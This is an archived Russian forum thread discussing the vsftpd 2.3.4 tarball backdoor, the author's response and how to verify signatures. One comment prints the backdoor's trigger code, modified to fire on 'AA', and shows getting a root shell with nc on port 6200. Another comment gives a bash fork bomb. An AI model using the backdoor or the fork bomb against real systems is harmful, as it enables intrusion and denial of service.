LINUX.ORG.RU

Бэкдор в FTP-сервере vsftpd

 ,


0

2

Крис Эванс (Chris Evans), автор «самого быстрого и защищенного» FTP-сервера для Unix-систем, сообщает о том, что в пакете с исходным кодом программы версии 2.3.4 обнаружено размещение бэкдора. Как измененный архив попал на сайт - остается загадкой, однако присутствующая в пакете GPG-подпись является неверной. Также нет никаких сведений о том, сколько времени вредоносный пакет находился онлайн в доступе для скачивания.

Добавленный код свидетельствует о том, что при попытке входа на сервер от пользователя с логином ":)" открывается порт 6200 с ожиданием соединения и предоставлением шелла.

На данный момент сайт и исходные тексты vsftpd перенесены на новую площадку. При этом каждый раз рекомендуется сверять GPG-подпись для скачанного файла. Сам автор полагает, что отсутствие каких-либо попыток скрытия вредоносного кода, а также способов определения уязвимых серверов, кроме простого перебора, говорит о том, что данная провокация не является серьезной попыткой атаки.

>>> Подробности

★★★★★

Проверено: maxcom ()

Ответ на: комментарий от pekmop1024

> у большинства vsftpd работает под своим юзером и ничего делать не может, кроме как ходить в свои каталоги

Дочерние процессы, которые запускаются при подключении – да. Но эта атака, если она сработает, вроде как поимеет основной процесс, который запущен от рута и способен на многое.

anonymous
()
Ответ на: комментарий от tommy

> я думаю что такие слова должны привести к тщательному аудиту кода со стороны самых лучших специалистов (SolarDesigner и тд) и немедленному форку проекта

Специалисты по безопасности с тобой бы не согласились. Имеется ввиду, что хакер не ставил задачи извлечь максимум выгоды из своих действий. Реализация там действительно примитивная и топорная.

anonymous
()
Ответ на: комментарий от tommy

ерунда. Это же обычная подстава с подменой тарбола. Исходный код никто не трогал.

Автор получил урок, но при чем тут качество кода?

AVL2 ★★★★★
()
Ответ на: комментарий от AVL2

его считали профессионалом. а такие его заявления ставят под сомнение его компетенцию в области безопасности.

«ой, надо мной подшутили. да всё нормально»

и? поломали возможно через его же демон. или же поломали его иначе сервер. или поломали его машину но не смогли/не захотели трогать pgp. полюбому такому человеку доверять более нельзя как специалисту по безопасности если он делает подобные успокаивающие заявления.

не в том дело что в его программе возможно есть уязвимость. проблема в том что он не придаёт факту взлома никакого значения. значит с ним что-то не так.

tommy ★★★★★
()
Ответ на: комментарий от AVL2

> Автор получил урок

Имхо, больший урок получили мейнтейнеры репозиториев с пакетами. Автор сменил хостинг, а что по сути изменилось? В целом ничего.

shahid ★★★★★
()
Ответ на: комментарий от shahid

Автор сменил хостинг, а что по сути изменилось? В целом ничего.

вот! а большинство этого понять как раз и не может!

tommy ★★★★★
()
Ответ на: комментарий от tommy

Автор спокоен наверное потому что уязвимость практически не затронула энтерпрайза (слишком молодая версия), да и всякие ебилды-пкгбилды проверяют сорцы по хешу. Надо, конечно, давить на мейтейнеров пакетов, что бы добавляли проверку gpg-подписи при билде по возможности.

shahid ★★★★★
()

Проверил у себя на серверах с Gentoo:

1) Бэкдор не работает. 2) Аудит кода обработки пароля подозрительного ничего не выявил. 3) Контрольные суммы тарбола совпадают с чистыми.

Bircoph
()
Ответ на: комментарий от temporary

> а всего лишь надо делать всё по правилам, например DMZ за отдельным роутером и chroot.

ну, и как тебя это спасет, если бэкдор будет сам периодически пытаться коннектится? скажи «нет!» темным силам электричества!

anonymous
()
Ответ на: комментарий от tommy

> такие его заявления ставят под сомнение его компетенцию в области безопасности.

На секундочку, по сушеству он вообще-то прав:

Therefore, perhaps someone was just having some lulz instead of seriously trying to cause trouble.

Если бы хакер всерьёз ставил задачу причинить максимальный вред, реализация была бы другая – с этим, надеюсь, ты спорить не станешь.

Что же до тона, в котором всё было подано – тебе просто не понять этой манеры так вот легко на словах относиться ко всему происходящему. Эффективность работы от этого не страдает.

anonymous
()
Ответ на: комментарий от anonymous

>> а всего лишь надо делать всё по правилам, например DMZ за отдельным роутером и chroot.

ну, и как тебя это спасет, если бэкдор будет сам периодически пытаться коннектится? скажи «нет!» темным силам электричества!

а если он просто посли попытки залогинится с таким именем откроет шелл вместо ftp-сессии? закрывать будешь штанами папкиными?

anonymous
()
Ответ на: комментарий от shahid

если ему один раз поламали сервер (и/или рабочую машину) - в следующий раз могут подписать прогу его подписью. то что она сейчас не была подписана правильно - ни о чём совершенно не говорит. вот проблема то где. в безответственности этого специалиста.

если он сейчас сменит подпись - так же нет гарантии что следующая версии проги с бэкдором не будет подписана его новой правильной подписью.

tommy ★★★★★
()

[int13h@machine ~]$ vsftpd -v
vsftpd: version 2.3.4

OMG!!!!111

int13h ★★★★★
()
Ответ на: комментарий от anonymous

Если бы хакер всерьёз ставил задачу причинить максимальный вред, реализация была бы другая – с этим, надеюсь, ты спорить не станешь.

какой то слабоумный бред у него! откуда он знает что у него поломано УЖЕ, и что поломают/дискредитируют потом! откуда он знает цели хакеров? что за слабоумие думать что если что-то полдомали - то должны ТУТ ЖЕ МОМЕНТАЛЬНО САКСИМАЛЬНО НАВРЕДИТЬ.

ламанные мошины/аккаунты и инфа (всевозможные хэши, емейлы, переписка) с них может у хакеров годами лежать и ждать своего часа. небольшой слом - просто для прикрытия может быть. типа ну видели что взлом был, но посчитают что ничего серьёзного и успокоятся сами и успокоят всех. а на самом деле может быть глобально у него увели всё что только можно. и потом воспользуются полученным в нужный для них момент (и способ слома при смене хостинга может не поменяеться).

tommy ★★★★★
()
Ответ на: комментарий от tommy

Ты прав в том, что г-н Эванс сейчас должен рыть носом землю чтобы понять что случилось, и сделать всё, чтобы не допустить повторения.

Но вот я, например, не разделяю твоей уверенности в том, что он ничего этого не делает.

anonymous
()

у меня нечаянным образом в течении 3-4 месяцев был доступ к qmail.org, там же лежало большинство доступов к его миррорами собственно svn/git/не-помню-что-там

владелец был уведомлен, но отреагировал только через несколько месяцев

пруфлинков не будет, косвенные доказательства есть, но не думаю что уместно будет здесь их показывать

внимание, вопроc:

говорит ли вышеупомянутый факт о том, что qmail дырявый?

xtraeft ★★☆☆
()
Ответ на: комментарий от xtraeft

а никто не утверждал что vsftpd дырявый. вечно у линуксоидов эта примитивная бинарная логика. мы говорим об иной проблеме - о том стоит ли доверять автору этой программы как специалисту в области безопасности, в свете его реакции на ситуацию описанную в теме.

tommy ★★★★★
()
Ответ на: комментарий от tommy

ну в моем случае - у меня был рут к серверу человека по имени Russell Nelson , не хочется говорить откуда и как я его получил - но он был. Я уведомлял его всеми способами, которые я нагуглил. Ответа не дождался в итоге.

Кто не знает - Russell Nelson овнер qmail.org и еще кучи уважаемых сайтов

xtraeft ★★☆☆
()
Ответ на: комментарий от tommy

это просто фанатики пишут - раз сервер какого то проекта сломали, значит этот проект дырявый!

дух лора :)

xtraeft ★★☆☆
()

фтп не нужен. ну когда ж его уже закопают а

tazhate ★★★★★
()
Ответ на: комментарий от xtraeft

>Russell Nelson овнер qmail.org и еще кучи уважаемых сайтов

я думал, что qmail давно умер, а тут оказывается на сайте рекомендуют rm -rf / прямо пи доставке почты выполнять:

Sometimes you need to use a database to forward mail. Create ~alias/.qmail-default like this:

|if T=`X`; then forward $T; else echo «Sorry, no mailbox here by that name (#5.1.1)»; exit 100; fi

borisych ★★★★★
()
Ответ на: комментарий от flareguner

>гентоо на сервере не нужно.

ты на сервере не нужен.

tazhate ★★★★★
()
Ответ на: Отвлечённое от Deleted

>И что у всех этих FTP серверов какие-то нечеловеческие конфиги…

Фигня. Вот сендмэйл... он - монстр. Я 7 часов пытался настроить приём писем. Так внимал конфигам, что забыл узнать одну мелочь - он не умеет принимать почту.

daris
()

sftp:// — и никаких проблем.

Jayrome ★★★★★
()
Ответ на: комментарий от anonymous

>ну, и как тебя это спасет, если бэкдор будет сам периодически пытаться коннектится? скажи «нет!» темным силам электричества!

Ну, если сервер в своей зоне, то правильней было бы разрешить роутеру форварлить только те порты, на которых сервер предоставляет свои сервисы и не разрешать любые исходящие соединения, тогда никаких левых 6200 ни туда ни оттуда. Только мне непонятно зачем бэкдор сделали именно так, на другой порт, использовать стандартный порт было бы менее заметно, потому считаю, что это «отладочный» бэкдор для разработчиков и они сами облажались, залив незачищенный код.

temporary ★★
()

2 - 3.5 дня

По содержимому архива и timestamp'ам на одном из mirror'ов, подмененный архив распространялся с официального сайта от двух до 3.5 дней. Создан он был, скорее всего, на системе Ubuntu 11.04 под пользователем «user». В дистрибутивы, скорее всего, включен не был.

solardiz
()
Ответ на: комментарий от tommy

Прочитал твои сообщения. Вывод: ты дебил!

anonymous
()
Ответ на: комментарий от mx__

> Я всегда говорил что пуре лучше защищен ( и легче и фичастее )

напиши идентификатор коммита в котором был backdoor для vsftp ?

user_id_68054 ★★★★★
()
Ответ на: комментарий от tommy

> я думаю что такие слова должны привести к тщательному аудиту кода со стороны самых лучших специалистов (SolarDesigner и тд) и немедленному форку проекта с невозможностью постить туда ничего автору программы.

В словах никакой проблемы нет. Они не умаляют то, что нам продемонстрировали, но указывают на то что это была лишь демонстрация (по доброй воле или по неумению атакующего).

Chris Evans - хороший специалист, ничуть не хуже меня (если уж зачем-то я тут упомянут). Наличие подписи и то, что секретного ключа на сервере, очевидно, не было, показывает что произошедшее не выходит за рамки предусмотренных/ожидаемых рисков.

К тому же, риски совсем к нулю не свести. Даже если бы произошло что-то выходящее за рамки предусмотренного, нельзя было бы лишь по факту инцидента утверждать что было сделано что-то неправильно (возможно, вероятность и/или цена риска были слишком низки, чтобы было оправданно принимать дополнительные меры). Я не говорю что это было так в данном случае (он как раз в рамках), но это полезно учитывать.

Аудит кода желателен независимо от инцидентов и от слов автора. Исходники vsftpd я последнее время бегло просматриваю - в частности, отличия между всеми недавними версиями. Аудитом я это не назову (это именно беглый просмотр), хотя отдельные несущественные проблемы находились и исправлялись. (Разумеется, в тех исходниках, что я смотрел когда мы обновляли Owl на vsftpd 2.3.4, бекдора еще не было.) Сейчас посмотрел Changelog - оказывается, первые мои комментарии относились к версии 0.0.2, что было в конце 1990-х - тогда Chris держал список рассылки security-audit и эти вещи обсуждались там. Потом я долгое время vsftpd не читал (так что многие его части мне совсем незнакомы, да и забывается всё), потом снова стал читать изменения между версиями (когда мы стали паковать его в Owl), благо они небольшие (даже добавка опционального HTTP-сервера, о которой так много говорили, была, кажется, всего 13 KB в исходнике).

Некоторые изменения в vsftpd вызывали у меня несогласие, в том числе из-за связанных с ними рисков. Но Chris очень восприимчив к конструктивной критике, так что все эти вещи как-либо исправлялись - в коде, в умолчаниях, в документации. Да и, сравнивая с другими FTP-серверами, это были мелочи.

Хостинг от Google, несмотря на то что Chris входит в Google Security Team, у меня вызывает некоторое недоверие. Не удивлюсь, если мы скоро узнаем об инцидентах и там. (Проверяйте подписи!) Тем не менее, вероятно, для Chris'а это сейчас лучший выбор - почти в его же зоне ответственности (но далеко не только его), при этом не требуя дополнительных затрат его времени. Учитывая сколько полезных вещей он сейчас делает (в частности, для безопасности Google Chrome), тратить время на поддержание своего личного хостинга ему сейчас не рационально.

Название vsftpd мне не нравилось с самого начала. Мы не случайно обычно говорим security-enhanced про Owl, а не secure, да и не включаем эти слова в название. Но это всего лишь слова в названии. И это, возможно, заставляет автора чувствовать больше ответственности, что хорошо.

Предложенный fork проекта и запрет на участие Chris'а из-за его анализа этого инцидента с хостингом - абсурд. Chris - один из лучших upstream авторов, а vsftpd удается избегать bloat'а уже второй десяток лет. Другой maintainer уже прикрутил бы autoconf - и потом попробуйте найти бекдор среди кучи несущественных изменений в заранее сгенерированном configure. А тут, например, «diff -urpN» между 2.3.2 и 2.3.4 - 7.5 KB - легко читается, всё видно.

Мы продолжим использовать vsftpd как и раньше.

Извиняюсь за длинный комментарий. Надеюсь, кому-нибудь он был интересен.

P.S. Перечитал написанное - почему-то вышло как будто я принял в разработке vsftpd значительное участие, что не так. Просто почитывал, комментировал, немного патчил. Далеко не я один - там «спасибы» много кому сказаны. :-)

solardiz
()
Ответ на: комментарий от solardiz

> Мы продолжим использовать vsftpd как и раньше.

Это было всего лишь предупреждение а уж как вы на его реагируйте это уже ваша проблема.

mx__ ★★★★★
()

А у меня бекдор не работает! помогите настроить...

$ emerge -pv vsftpd

These are the packages that would be merged, in order:

Calculating dependencies... done!
[ebuild   R    ] net-ftp/vsftpd-2.3.4  USE="pam ssl tcpd -caps (-selinux) -xinetd" 0 kB

Total: 1 package (1 reinstall), Size of downloads: 0 kB

$ sudo netstat -ln |grep tcp
tcp        0      0 127.0.0.1:19701         0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:28017         0.0.0.0:*               LISTEN     
tcp6       0      0 ::1:631                 :::*                    LISTEN     
tcp6       0      0 :::445                  :::*                    LISTEN     
tcp6       0      0 :::139                  :::*                    LISTEN     

$ ftp ":)"@127.0.0.1
ftp: :)@127.0.0.1: Имя или служба не известны
ftp> by

$ sudo netstat -ln |grep tcp
tcp        0      0 127.0.0.1:19701         0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:28017         0.0.0.0:*               LISTEN     
tcp6       0      0 ::1:631                 :::*                    LISTEN     
tcp6       0      0 :::445                  :::*                    LISTEN     
tcp6       0      0 :::139                  :::*                    LISTEN     

$ ftp :)@127.0.0.1
bash: syntax error near unexpected token `)'

$ ftp ':)'@127.0.0.1
ftp: :)@127.0.0.1: Имя или служба не известны
ftp> by

$ sudo netstat -ln |grep tcp
tcp        0      0 127.0.0.1:19701         0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:28017         0.0.0.0:*               LISTEN     
tcp6       0      0 ::1:631                 :::*                    LISTEN     
tcp6       0      0 :::445                  :::*                    LISTEN     
tcp6       0      0 :::139
sdh
()
Ответ на: комментарий от sdh

Так как пакет был скачан на гентушные зеркала без бэкдора, то и чексумма у него была верная. Сырцы, выложенные на офсайте с бэкдором просто не прошли бы проверку на чексумму. Хотя, если до релиза подсунуть бэкдор... Тут да, не поможет...

Pinkbyte ★★★★★
()
Ответ на: комментарий от true_admin

> > из контейнеров OpenVZ затруднительно использовать уязвимости ядра

угу, потому что ведро со всеми тазиками падает :). На сколько помню именно так было когда дырки в vmsplice нашли.

Но здесь ведь нет гарантии, что оно обязательно упадёт, что взломщику не удастся выйти за пределы контейнера? Просто когда в 2011 году у хостера ядро 2009 года, это несколько напрягает...

askh ★★★★
()
Ответ на: комментарий от tommy

>а никто не утверждал что vsftpd дырявый. вечно у линуксоидов эта примитивная бинарная логика. мы говорим об иной проблеме - о том стоит ли доверять автору этой программы как специалисту в области безопасности, в свете его реакции на ситуацию описанную в теме.

Если под специалистом понимается косматый дед с берданкой из бывших гебистов, который ко всему относится очень серьезно, то да, никакого доверия.

А если специалист, это тот, кто хорошо разбирается в проблемах безопасности ПО, то этот факт не играет никакой роли.

Если же вопрос о доверии к vsftpd, как к надежному ПО, то обернитесь к зеркалу. Если вы стали меньше доверять этому проекту, значит мозгов у вас не очень много и стоит ждать, когда злоумышленник подсунет модифицированный бинарник/исходник прямо к вам.

AVL2 ★★★★★
()
Ответ на: комментарий от askh

что оно обязательно упадёт

судя по описанию «обязательно падало».

взломщику не удастся выйти за пределы контейнера?

не удастся, ведро-то в панике.

Но ты прав, ети все хостинге одна большая дыра.

true_admin ★★★★★
()
Ответ на: комментарий от wintrolls

> Можно как минимум :(){ :|: & };: от юзера запустить.

нет, как минимум это скорее так

:(){ : & }

alx_me ★★☆
()

archlinux, vsftpd 2.3.4, не работает. вероятно потому, что makepkg проверяет md5 при сборке.

anonymous
()
Ответ на: комментарий от anonymous

бэкдор работает и дает рута =)

скомпилил через «make» из тарбола

только нужны условия, фтп юзер должен быть в системе

1) в коде, на этапе проверки строки юзера проверяется последовательность симолов, сменил код на такой


int
str_contains_space(const struct mystr* p_str)
{
unsigned int i;
for (i=0; i < p_str->len; i++)
{
if (vsf_sysutil_isspace(p_str->p_buf[i]))
{
return 1;
}
// else if((p_str->p_buf[i]==0x3a)
// && (p_str->p_buf[i+1]==0x29))
else if((p_str->p_buf[i]==0x41)
&& (p_str->p_buf[i+1]==0x41))
{
vsf_sysutil_extra();
}
}
return 0;
}

чтоб логин был не смайл, а «AA»

2) создал локального юзера AA
3) запустил vsftpd с поддержкой локальных юзеров
4) коннектнулся на ftp

4k% ftp 192.168.1.8 21
Connected to 192.168.1.8.
220 (vsFTPd 2.3.4)
Name (192.168.1.8:user): AA
331 Please specify the password.
Password:


5) c другой консоли залез неткатом

h4k% netstat -nl | grep 6200
tcp 0 0 0.0.0.0:6200 0.0.0.0:* LISTEN
h4k% nc 192.168.1.8 6200
id
uid=0(root) gid=0(root) группы=0(root)


x97Rang ★★★
()
Ответ на: комментарий от xydo

Не просто может быть, а сто процентов будет это правило (правда, с conntrack match'ем, state давно depricated). Но там ведь процесс висит на 6200 в state LISTEN, дык с ним ещё соединение ещё надо установить (3-way handshake), а порт то закрыт.

anton_jugatsu ★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.